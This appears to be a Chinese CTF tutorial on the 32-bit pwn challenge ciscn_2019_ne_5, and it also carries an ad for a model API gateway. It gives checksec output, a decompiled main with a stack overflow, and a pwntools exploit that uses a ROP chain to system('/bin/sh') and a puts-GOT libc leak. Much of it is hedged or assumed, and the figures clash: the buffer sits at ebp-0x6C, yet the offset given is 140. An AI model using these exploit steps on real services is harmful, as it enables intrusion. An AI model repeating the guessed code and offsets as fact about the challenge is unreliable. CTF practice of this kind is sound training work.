1. ciscn_2019_ne_5题目背景解析
ciscn_2019_ne_5是2019年全国大学生信息安全竞赛(CNISC)中一道经典的PWN类题目。这类题目通常考察参赛者对二进制漏洞的挖掘和利用能力,涉及栈溢出、格式化字符串、堆利用等常见漏洞类型。从题目编号"ne_5"可以推断,这很可能是北方赛区(North East)的第五道PWN题。
在CTF比赛中,PWN题目往往会给参赛者提供一个可执行程序(通常是ELF格式)和对应的服务端环境。参赛者需要通过逆向分析找出程序中的漏洞,然后编写利用代码(exploit)来获取远程服务器的shell或读取特定文件内容。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目环境搭建与初步分析
2.1 获取题目文件
首先需要获取题目提供的二进制文件。在CTF比赛中,通常会提供下载链接或直接给出文件。假设我们已经获得了名为"ciscn_2019_ne_5"的ELF文件。
使用file命令查看文件基本信息:
bash复制file ciscn_2019_ne_5
输出可能显示:
code复制ciscn_2019_ne_5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped
2.2 检查保护机制
使用checksec工具检查二进制文件的安全保护机制:
bash复制checksec --file=ciscn_2019_ne_5
典型输出可能如下:
code复制Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
从保护机制可以看出:
- 32位程序
- 没有栈保护(Canary)
- 开启了NX(堆栈不可执行)
- 没有地址随机化(PIE)
2.3 运行程序观察行为
直接运行程序观察其行为:
bash复制./ciscn_2019_ne_5
程序可能会提示输入或显示菜单选项。通过交互可以初步了解程序的功能和可能的输入点。
3. 静态分析与漏洞定位
3.1 IDA Pro逆向分析
使用IDA Pro打开二进制文件进行静态分析。重点关注main函数和可能存在漏洞的函数。
在main函数中,可能会发现以下关键代码结构:
c复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[100]; // [esp+1Ch] [ebp-6Ch]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to the game");
printf("Please input your name: ");
read(0, buf, 0x100u);
printf("Hello, %s", buf);
// ... 其他功能代码
}
3.2 漏洞识别
从上面的代码片段可以看出明显的栈溢出漏洞:
- 定义了一个100字节的buf数组
- 使用read函数读取最多0x100(256)字节的数据
- 这会导致写入的数据超出buf数组边界,覆盖栈上的其他数据
由于没有栈保护(Canary),这种溢出可以直接利用来控制程序执行流程。
4. 漏洞利用开发
4.1 确定偏移量
首先需要确定输入数据到返回地址的偏移量。可以通过以下方法:
- 使用cyclic模式字符串生成工具
- 在gdb中运行程序并输入该字符串
- 当程序崩溃时,查看EIP的值
- 使用cyclic -l <eip_value>计算偏移量
实际操作示例:
bash复制gdb ./ciscn_2019_ne_5
(gdb) r <<< $(python -c 'print "A"*140 + "BBBB"')
当程序崩溃时,如果EIP被覆盖为0x42424242("BBBB"的ASCII码),说明偏移量是140字节。
4.2 构造ROP链
由于NX保护开启,栈上的shellcode无法执行,需要使用ROP(Return-Oriented Programming)技术。
常见步骤:
- 查找可用的gadget
- 构造system("/bin/sh")调用
- 可能需要泄露libc地址
使用ROPgadget工具查找可用gadget:
bash复制ROPgadget --binary ciscn_2019_ne_5
4.3 获取libc版本
如果题目提供了libc.so文件,可以直接使用。否则需要通过泄露地址来确定远程服务器的libc版本。
常用工具:
- https://libc.blukat.me/
- https://libc.rip/
通过泄露puts函数的实际地址,可以计算出libc基址,进而得到system和/bin/sh的地址。
5. 完整Exploit编写
5.1 Python脚本框架
使用pwntools编写exploit脚本框架:
python复制from pwn import *
context(arch='i386', os='linux')
# 本地调试或远程连接
LOCAL = True
if LOCAL:
p = process('./ciscn_2019_ne_5')
else:
p = remote('target_ip', target_port)
# 构造payload
offset = 140
payload = flat(
'A'*offset,
# ROP链
)
# 发送payload
p.sendlineafter('name:', payload)
# 获取交互式shell
p.interactive()
5.2 填充ROP链
根据找到的gadget和泄露的地址,完善ROP链。例如:
python复制# 假设已经获取了libc基址
libc_base = 0xf7dc2000
system_addr = libc_base + 0x0003a940
bin_sh_addr = libc_base + 0x15902b
payload = flat(
'A'*offset,
system_addr,
0xdeadbeef, # 返回地址(不重要)
bin_sh_addr
)
5.3 泄露libc地址
如果需要泄露地址,可以构造如下payload:
python复制# 泄露puts的GOT表地址
puts_plt = 0x080483a0
puts_got = 0x0804a018
main_addr = 0x0804853b
payload = flat(
'A'*offset,
puts_plt,
main_addr, # 返回到main函数继续利用
puts_got
)
p.sendlineafter('name:', payload)
leak = u32(p.recv(4))
log.info("puts address: 0x%x" % leak)
6. 实际利用中的注意事项
6.1 地址对齐
在32位系统中,栈需要4字节对齐。有时需要在payload中添加额外的填充字节以确保正确性。
6.2 坏字符处理
某些字符可能在输入时被过滤或截断(如\x00、\x0a、\x0d等)。需要避免在payload中使用这些字符。
6.3 远程与本地差异
本地测试成功的exploit可能在远程失败,原因包括:
- libc版本不同
- 环境变量差异
- 网络延迟导致交互时序问题
建议在本地使用与远程相同的libc进行测试。
7. 题目变种与进阶技巧
7.1 无libc情况下的利用
当没有提供libc时,可以考虑:
- 部分覆盖技术
- 使用DynELF泄露内存
- 利用程序本身的gadget构造完整ROP链
7.2 堆与栈结合利用
有些题目会结合堆漏洞和栈漏洞,需要综合运用多种技术:
- Use After Free (UAF)
- Double Free
- Fastbin Attack
- Unlink Attack
7.3 高级ROP技术
- SROP (Sigreturn Oriented Programming)
- BROP (Blind ROP)
- JOP (Jump Oriented Programming)
8. 调试技巧与工具推荐
8.1 GDB增强工具
- pwndbg:增强的GDB插件
- gef:另一个流行的GDB增强工具
- peda:经典的GDB插件
安装示例:
bash复制git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
8.2 动态调试技巧
- 在关键函数设置断点
- 观察栈和寄存器的变化
- 使用cyclic模式字符串定位溢出点
- 使用watchpoint监控关键内存变化
8.3 其他实用工具
- ropper:高级ROP gadget查找工具
- one_gadget:查找直接调用execve的gadget
- ltrace/strace:跟踪库函数和系统调用
9. 防御措施与安全编程
9.1 常见防御机制
- 栈保护(Stack Canary)
- 地址随机化(ASLR/PIE)
- 数据执行保护(NX/DEP)
- 代码完整性检查(CFI)
9.2 安全编程实践
- 使用安全的字符串处理函数
- 严格检查输入长度
- 最小权限原则
- 防御性编程
10. 相关资源与学习路径
10.1 推荐学习资料
- 《漏洞利用开发实战》
- 《二进制漏洞挖掘与利用》
- 《CTF竞赛权威指南》
10.2 在线练习平台
- pwnable.kr
- pwnable.tw
- hackthebox
- ringzer0team
10.3 社区与论坛
- 看雪学院
- 安全客
- Reddit的/netsec和/securityCTF板块
在实际操作中,我发现这类题目的关键在于耐心和系统性分析。每次遇到新的保护机制或利用障碍时,最好的方法是将其分解为小问题逐个解决。例如,当遇到ASLR时,先考虑如何泄露地址;当遇到NX时,转向ROP技术。保持这种解决问题的思维方式比记住具体的技术细节更为重要。
